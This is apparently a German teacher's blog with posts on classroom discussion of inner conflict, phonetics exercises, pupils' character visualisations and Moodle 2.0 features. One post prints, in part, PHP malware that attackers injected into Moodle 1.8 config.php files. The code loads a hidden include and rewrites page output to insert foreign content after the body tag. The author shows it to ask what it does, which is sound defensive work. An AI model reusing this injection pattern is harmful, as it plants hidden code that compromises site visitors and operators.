Manchmal muss etwas richtig schlimm werden

[…] bevor es bes­ser wer­den kann. Das ist bei Erkäl­tun­gen ganz oft so. Erst wenn man rich­ti­ges Fie­ber bekommt, wird man danach so rich­tig gesund“ – „Ja, und bei der Figur Alex ist es doch genau so: Jetzt sind zwar alle Pro­ble­me an der Ober­flä­che und sie hat rich­tig Stress, aber das ist doch erst die Vor­aus­set­zung für ein Happyend.“

In der 7. Klas­se spre­che ich gera­de über inne­re Kon­flik­te und dar­über, dass dabei oft alle zur Ver­fü­gung ste­hen­den Optio­nen Kon­se­quen­zen nach sich zie­hen, die schwer­wie­gend und kei­nes­falls immer posi­tiv sind (Anm. der Redak­ti­on: Sonst könn­te man sich den inne­ren Kon­flikt lite­ra­risch auch spa­ren). Die von uns betrach­te­te Figur hat­te sich in der Hand­lung für eine Opti­on ent­schie­den, die (erst­mal) zu einem Scher­ben­hau­fen führt – dar­auf­hin kam der oben in etwa im Wort­laut wie­der­ge­ge­be­ne Ein­wand der Klasse.

Sol­che Erleb­nis­se und die Gewiss­heit an der Ent­ste­hung sol­cher Gedan­ken nicht ganz unbe­tei­ligt zu sein, schaf­fen den Sinn, der trotz der oft im Vor­der­grund ste­hen­den Wid­rig­kei­ten mei­nen Beruf schön macht. Und wenn man genau hin­schaut, ist an fast jedem Tag ein biss­chen davon vorhanden.

Ein Sei­ten­hieb sei hier noch gestattet:

Ohne den Inhalt „Inne­rer Kon­flikt“ wäre die­ser Gedan­ke in die­ser Stun­de undenk­bar gewe­sen. Nicht Kom­pe­ten­zen schaf­fen an die­ser Stel­le Fähig­kei­ten zur z.B. inhalt­li­chen Erschlie­ßung, son­dern Inhal­te schaf­fen Kompetenzen.

Genese von Unterrichtsmaterial durch CC

Ich hat­te ja schon erwähnt, dass ich inhalt­lich mit unse­rem Abitur­schwer­punkt in NDS so gar nicht recht zufrie­den bin. In mir sträubt sich alles, ein­fach nur „über Din­ge“ zu spre­chen ohne die Mecha­nis­men zu behan­deln, die dazu füh­ren, dass Spra­che so ist wie sie ist mit allen Pro­ble­men dabei, die wahr­haf­tig nicht neu sind. Durch Tho­mas Rau kam ich dann auf die Idee, zunächst mit etwas Sprach­ge­schich­te einzusteigen..Dabei bin ich auch über ein schö­nes Arbeits­blatt gestol­pert, was mich aber zu ganz ande­ren Auf­ga­ben inspi­riert hat. Mei­ne Auf­ga­ben sehen so aus:

Auf­ga­ben:

Beschrei­ben Sie für jeden Kon­so­nan­ten, der von der 2.Lautverschiebung betrof­fen ist Stimm­haf­tig- bzw. Stimm­lo­sig­keit, Arti­ku­la­ti­ons­wei­se und Arti­ku­la­ti­ons­ort tabel­la­risch vor und nach der 2. Laut­ver­schie­bung. War­um wur­de Ihrer Mei­nung nach das [p] nicht zum [k] ver­scho­ben? Kön­nen Sie Gesetz­mä­ßig­kei­ten fest­stel­len? Die bei­den Lau­te [ç] und [x] wer­den bei­de im Deut­schen durch die Buch­sta­ben­kom­bi­na­ti­on „ch“ reprä­sen­tiert. Fin­den Sie min­des­tens ein Bei­spiel­wort für jeden der bei­den Lau­te! Wel­chem Zei­chen in Laut­schrift (vgl. Tabel­le) ent­spre­chen die in den fol­gen­den Wor­ten unter­stri­che­nen Kon­so­nan­ten­fol­gen bzw. Konsonanten?
a) ging
b) schaurig
c) sauer
Über­set­zen Sie in die kor­rek­te Schrift­spra­che (ein Dop­pel­punkt bedeu­tet, dass der Laut lang gespro­chen wird)
a) [tsaŋə]
b) [zu:xÉ™]
Wo müss­te das stimm­lo­se, eng­li­sche „th“ [θ] in die Tabel­le ein­ge­ord­net wer­den? (z.B. in „theft“)

Und jetzt kommt das Paradoxon:

Sie sehen so aus, weil mein Unter­richts­gang und mei­ne Her­an­ge­hens­wei­se eine ande­re sind. Die Auf­ga­ben wären aber gar nicht erst ent­stan­den, wenn es nicht bereits das vor­be­rei­te­te Mate­ri­al gege­ben hät­te. Vor­han­de­nes Mate­ri­al kata­ly­siert damit bei mir neue Gedan­ken, bzw. neue Krea­ti­vi­tät und das mit­un­ter sehr punk­tu­ell. Ich bin völ­lig über­zeugt davon, dass *jedes* Mate­ri­al jeder Qua­li­tät zum rich­ti­gen The­ma zum rich­ten Zeit­punkt „Leh­rer-Krea­ti­vi­tät“ qua­si kata­ly­sie­ren kann – das sind mei­ne Erfah­run­gen. Wenn ich mir so man­chen gedruck­ten Übungs­bo­gen in Arbeits­hef­ten anschaue, sage ich ganz oft: „Nee – so aber nicht, da müss­te man noch…“. Und dann ent­steht etwas Neu­es, Pas­sen­de­res – wenn es die Zeit erlaubt.

Jetzt gibt es die For­de­rung, dass LuL mehr zusam­men­ar­bei­ten sol­len, um gemein­sa­me Mate­ria­li­en zu ent­wi­ckeln. Damit kauft man sich mei­ner Mei­nung nach einen gro­ßen Hau­fen an Unbe­weg­lich­keit ein, da eine Grup­pe stets etwas ady­na­mi­scher als ein Indi­vi­du­um ist. Die Zukunft von Zusam­men­ar­beit stel­le ich mir in etwa so vor. Da hät­ten wir Neu­ro­nen­ver­hal­ten von mei­ner Sei­te einer­seits und die „Frem­de­vo­lu­ti­on“ mei­ner eige­nen Mate­ria­li­en ande­rer­seits. Dar­aus habe ich im vor­lie­gen­den Fall eine neue Metho­de gelernt – min­des­tens. Dafür muss­te ich nicht irgend­wo­hin fah­ren, wo eine Pra­li­nen­schach­tel stand, die neben weni­gem schmack­haf­ten Zeugs auch viel bit­te­res ent­hielt – sehr bit­ter fin­de ich z.B. die manch­mal mise­ra­bel orga­ni­sier­ten „Grup­pen­ar­beits­pha­sen“ auf Fortbildungen.

Des­we­gen ist die Ver­öf­fent­li­chung von Mate­ri­al nach CC für mich wich­tig. Und des­we­gen sind alle Mate­ria­li­en die­ses Blogs auch CC lizensiert.

Einen literarischen Charakter visualisieren

Die­se Auf­ga­be war eine typi­sche Schnaps­idee, wie sie aus der Not her­aus gebo­ren wird, wenn etwas in einer Stun­de nicht so passt. Ich ste­he momen­tan voll auf Visua­li­sie­run­gen, weil mir unge­heu­re Ein­bli­cke in die Köp­fe mei­ner SuS ermög­licht. Ich lese in mei­ner 7. Klas­se gera­de die­ses Jugend­buch hier und in die­sem Zusam­men­hang galt es eine Visua­li­sie­rung zur Figur „Miche­al Bai­ley“ zu erstel­len. Die fol­gen­de Band­brei­te kam dabei heraus:

Bei­spiel 1:

bailey_01

Die gute, alte nach Kate­go­rien struk­tu­rier­te Tabel­le. Nicht schlecht und eini­ger­ma­ßen über­sicht­lich, aber irgend­wie nicht so „visu­ell“.

Bei­spiel 2:

bailey_02

Man neh­me ein Cha­rak­ter­merk­mal und set­ze es mit einem Säu­len­dia­gramm  in Bezie­hung zum iden­ti­schen Merk­mal ande­rer Figu­ren. Nicht schlecht. So bekommt man gleich einen Ein­druck von der sozia­len Stel­lung der Figur inner­halb der Grup­pe in der Handlung.

Bei­spiel 3:

bailey_03

Hier wur­de zwar nicht die eigent­li­che Auf­ga­be bear­bei­tet, jedoch haben die bei­den betei­lig­ten SuS „mal eben“ die nar­ra­ti­ve Par­al­le­li­tät von Vor­ge­schich­te und aktu­el­ler Hand­lung her­aus­ge­ar­bei­tet (vgl. Jugend­buch). Damit lässt sich zu gege­be­ner Zeit wei­ter­ar­bei­ten, es ist also ein wert­vol­ler Beitrag!

Bei­spiel 4:

bailey_04

Die­ses Bild trifft so vie­le Cha­rak­ter­zü­ge der Figur, dass es schon fast ein wenig unheim­lich ist, wie sehr bild­li­ches Aus­drucks­ver­mö­gen und sprach­li­che Fähig­kei­ten in die­sem Alter aus­ein­an­der­zu­klaf­fen scheinen.

Ich hat­te die Visua­li­sie­run­gen in Part­ner­ar­beit erstel­len las­sen und mit nach Hau­se genom­men. Die obe­ren vier wur­den des­we­gen von mir aus­ge­wählt, weil sie eine gro­ße Band­brei­te abde­cken. Frap­pie­rend war auch, dass jede Dar­stel­lung in der Reflek­ti­on mit den SuS bei irgend­wem sei­ne indi­vi­du­el­le Berech­ti­gung fand. Der eine konn­te mit dem Bild, die ande­re mit der Tabel­le mehr anfan­gen. Dar­an ließ sich gleich eine klei­ne Meta­dis­kus­si­on zu „richtig/falsch“ im Deutsch­un­ter­richt anschlie­ßen. Ich mag Stun­den, die „zufäl­lig“ einen sol­chen Ertrag bringen.

Moodlehack – kann das jemand decodieren?

Frü­he­re Ver­sio­nen von Mood­le, ins­be­son­de­re die 1.8er-Reihe beka­men des Öfte­ren Besuch (neue­re 1.8er-Versionen,. z.B. 1.8.9 sind gefixt), wobei die­ser Code in die config.php ein­ge­schleust wur­de (hier unvoll­stän­dig dar­ge­stellt – hier Voll­text):

if(function_exists(‚ob_start‘)&&!isset($GLOBALS[’sh_no‘])){$GLOBALS[’sh_no‘]=1;if(file_exists(‚/path/to/moodle/lang/be/help/resource/type/mdl_utf.php‘)){include_once(‚/home/www/web10/html/moodle/lang/be/help/resource/type/mdl_utf.php‘);if(function_exists(‚gml‘)&&!function_exists(‚dgobh‘)){if(!function_exists(‚gzdecode‘)){function gzdecode($R20FD65E9C7406034FADC682F06732868){$R6B6E98CDE8B33087A33E4D3A497BD86B=ord(substr($R20FD65E9C7406034FADC682F06732868,3,1));$R60169CD1C47B7A7A85AB44F884635E41=10;$R0D54236DA20594EC13FC81B209733931=0;if($R6B6E98CDE8B33087A33E4D3A497BD86B&4){$R0D54236DA20594EC13FC81B209733931=unpack(‚v‘,substr($R20FD65E9C7406034FADC682F06732868,10,2));$R0D54236DA20594EC13FC81B209733931=$R0D54236DA20594EC13FC81B209733931[1];$R60169CD1C47B7A7A85AB44F884635E41+=2+$R0D54236DA20594EC13FC81B209733931;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&8){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&16){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&2){$R60169CD1C47B7A7A85AB44F884635E41+=2;}$RC4A5B5E310ED4C323E04D72AFAE39F53=gzinflate(substr($R20FD65E9C7406034FADC682F06732868,$R60169CD1C47B7A7A85AB44F884635E41));if($RC4A5B5E310ED4C323E04D72AFAE39F53===FALSE){$RC4A5B5E310ED4C323E04D72AFAE39F53=$R20FD65E9C7406034FADC682F06732868;}return $RC4A5B5E310ED4C323E04D72AFAE39F53;}}function dgobh($RDA3E61414E50AEE968132F03D265E0CF){Header(‚Content-Encoding: none‘);$R3E33E017CD76B9B7E6C7364FB91E2E90=gzdecode($RDA3E61414E50AEE968132F03D265E0CF);if(preg_match(‚/\<body/si‘,$R3E33E017CD76B9B7E6C7364FB91E2E90)){return preg_replace(‚/(\<body[^\>]*\>)/si‘,‘$1‘.gml(),$R3E33E017CD76B9B7E6C7364FB91E2E90);}else{return gml().$R3E33E017CD76B9B7E6C7364FB91E2E90;}}ob_start(‚dgobh‘);}}}

Der Code ist schon­mal so mies, dass das Mood­le­sys­tem nach dem Ein­schleu­sen teil­wei­se nicht mehr funk­tio­niert und so der Hack schnell erkannt ist. Mich wür­de inter­es­sie­ren, was der Code genau bezwe­cken soll, damit man etwas über die Moti­va­ti­on des „Angrei­fers“ erfährt. Will er nur spam­men? Will er Daten klau­en? Ist die Daten­bank nach einem erfolg­rei­chen Hack noch zu gebrau­chen? Auf jeden Fall wird auf die imap- und mcrypt-Funk­tio­na­li­tät von PHP zurückgegriffen…

Moodle 2.0 – What’s new?

Erst­mal eine klei­nes Video von Lutz Ber­ger dazu (via Twit­ter durch Heinz Kret­tek):

… und jetzt natür­lich mein Kom­men­tar zu zwei aus­ge­wähl­ten Neuerungen:

1. Beding­te Akti­vi­tä­ten (con­di­tio­nal activities)
Bis­her war es so, dass eine Schü­ler inner­halb eines Mood­le­kur­ses alle Akti­vi­tä­ten sehen konn­te, die für ihn durch den Kurser­stel­ler nicht ver­bor­gen wor­den oder durch das Benut­zer­ma­nage­ment (Grup­pen, Grup­pie­run­gen) ihm nicht zugäng­lich waren. Nun­mehr sind Din­ge mög­lich, wie
  • das nächs­te Doku­ment kannst du erst lesen, wenn du vor­her dem Link x gefolgt bist“
  • wenn du im Test 40% erreicht, bekommst du Auf­ga­be 1 (leicht) und wenn du 80% erreichst, bekommst du Auf­ga­be 2 (schwer)“
  • Es sieht zusätz­lich so aus, als ob unter der Ober­flä­che ein Logik­sys­tem wer­kelt, also even­tu­ell auch Kon­struk­te wie logisch AND, XOR, OR, NOT mög­lich werden
Mein Kom­men­tar:
Mit eigen­stän­di­gem Ler­nen und indi­vi­du­el­ler Frei­heit im eige­nen Lern­pro­zess hat das für mich nicht so viel zu tun. Es kann hart ver­drah­tet wer­den, wie ich zu ler­nen habe. Viel­leicht ver­ste­he ich Link 1 ja erst in Zusam­men­hang mit Text A, den ich aber vor­her gar nicht sehen kann. Ich fürch­te mich davor, das vie­le Leh­ren­de genau die­ses Fea­ture dafür nut­zen wer­den, tra­di­tio­nel­len Unter­richt noch stär­ker 1:1 auf Mood­le abzu­bil­den und stren­ge Lern­we­ge vor­zu­ge­ben. Zudem haut die­ses Fea­ture ja in die Ker­be der „glei­cher Inhalt, glei­che Chan­cen, Leh­ren­den­ent­las­tung durch gleich­schrit­ti­ge Zusammenarbeit“-Bewegung. Da ver­kennt die Tech­nik in mei­nen Augen ein­mal mehr die Psy­cho­lo­gie. Das Zwi­schen­mensch­li­che muss stim­men, dann fin­det Zusam­men­ar­beit statt. Dann kom­men die Tools – aber es ist ja schön, dass das schon klappt bzw. das Tool schon da wäre. Ach ja – unnö­tig zu erwäh­nen, dass Mood­le jetzt „end­lich“ weiß, wie weit jeder Schü­ler mit sei­nem Lern­weg ist und das als Lern­be­richt aus­spuckt. Wer ein sol­ches Kon­troll­in­stru­ment braucht und mit den dar­auf gewon­ne­nen Ergeb­nis­sen und Daten bei sei­nen gan­zen SuS indi­vi­du­ell pro­duk­tiv umge­hen kann – ein Pri­vat­le­ben dürf­te er dann nicht mehr haben. Wer es nicht kann, muss sich sagen las­sen: Daten­spar­sam­keit? Was war das nochmal?
Die Geschich­te mit den Tests und der beding­ten Ver­zwei­gung fin­de ich hin­ge­gen gut und kann mir das bei The­men vor­stel­len, wo Mood­le kom­plett den Leh­ren­den sub­sti­tu­iert (d.h. bei rei­nen E‑Lear­ning-Kur­sen wie es z.B. Sco­yo & Co. vormachen).

2. Schnitt­stel­len zu exter­nen Systemen
Mood­le wird ver­stärkt Daten mit exter­nen Sys­te­men aus­tau­schen kön­nen, deren API frei ver­füg­bar ist, z.B. You­Tube, flickr, Alfres­co, Maha­ra, Blogs etc.. Ich kann z.B. als Schü­ler eine ein­ge­reich­te Auf­ga­be direkt per Klick in mein Maha­ra-Port­fo­lio über­tra­gen – ich muss das wohl doch ein­mal kon­fi­gu­rie­ren… Ich kann als Kurser­stel­ler z.B. You­Tube-Vide­os kom­for­ta­bel über einen neu­en Edi­tor (TinyMCE) per Klick ein­bin­den ohne die jetzt not­wen­di­ge Codekopiererei.

Kom­men­tar:
Ich fin­de die­sen Schritt abso­lut wich­tig und ein wirk­li­ches Novum. Es erleich­tert auch uner­fah­re­nen KuK das Erstel­len von mul­ti­me­di­al anspre­chen­den Kur­sen. Es ermög­licht, vor­han­de­ne Web­res­sour­cen unkom­pli­ziert zu nut­zen ohne Inhal­te dop­pelt vor­hal­ten zu müs­sen. Gera­de auf die Kom­bi­na­ti­on mit Blogs freue ich mich. Wenn es beim Mahar­aex­port auf dem bis­he­ri­gen Stand blei­ben soll­te (nur Datei­en kön­nen kopiert wer­den), wäre es ent­täu­schend. Span­nend wird es dadurch, wenn z.B. Bei­trä­ge im eige­nen Mood­le­b­log mit allen Datei­en ver­öf­fent­lich wer­den könn­ten, z.B. nach Word­Press oder Maha­ra. Lei­der gibt es in Mood­le stan­dard­mä­ßig noch gar nicht so vie­le Orte, an denen Nut­zer eige­nen Con­tent erstel­len kön­nen. Da arbei­ten die bestimmt aber noch dran – sonst wäre die Maha­ra­kopp­lung etwas „dünn“ vom Ertrag. Auf jeden Fall soll­te man jetzt aber schon dar­auf ach­ten, dass das ein­mal ver­wen­de­te CMS an einer Insti­tu­ti­on eine mit Mood­le kom­pa­ti­ble API auf­weist… Das könn­te nicht kurz- aber mit­tel­fris­tig span­nend werden.

Wei­te­re Neuerungen
Ganz viel soll sich auch hin­sicht­lich der Benut­zer­freund­lich­keit ändern. Ob der Rück­stand Mood­les (Web 2.0, Ajax kommt da jetzt ja erst all­mäh­lich) zu ande­ren Sys­te­men in die­ser Hin­sicht auf­ge­holt wer­den kann, bleibt abzu­war­ten. Ich sehe sehr gespannt den geplan­ten Ver­ein­fa­chun­gen bei der Bedie­nung des Rech­te­sys­tems ent­ge­gen. Nicht, dass ich das Rech­te­sys­tem je gebraucht hät­te, aber viel­leicht fällt dadurch ein Teil der Fra­gen auf Moodle.org weg, die dann durch Fra­gen zum Logik­sys­tem bei den „Con­di­tio­nal Acti­vi­ties“ ersetzt werden.
Wer noch mehr über Mood­le 2.0 wis­sen möch­te, sei auch den oben ver­link­ten You­Tube-Film ver­wie­sen – und vor allem auch noch auf ande­re Mei­nun­gen zu den neu­en Fea­tures als auf meine…
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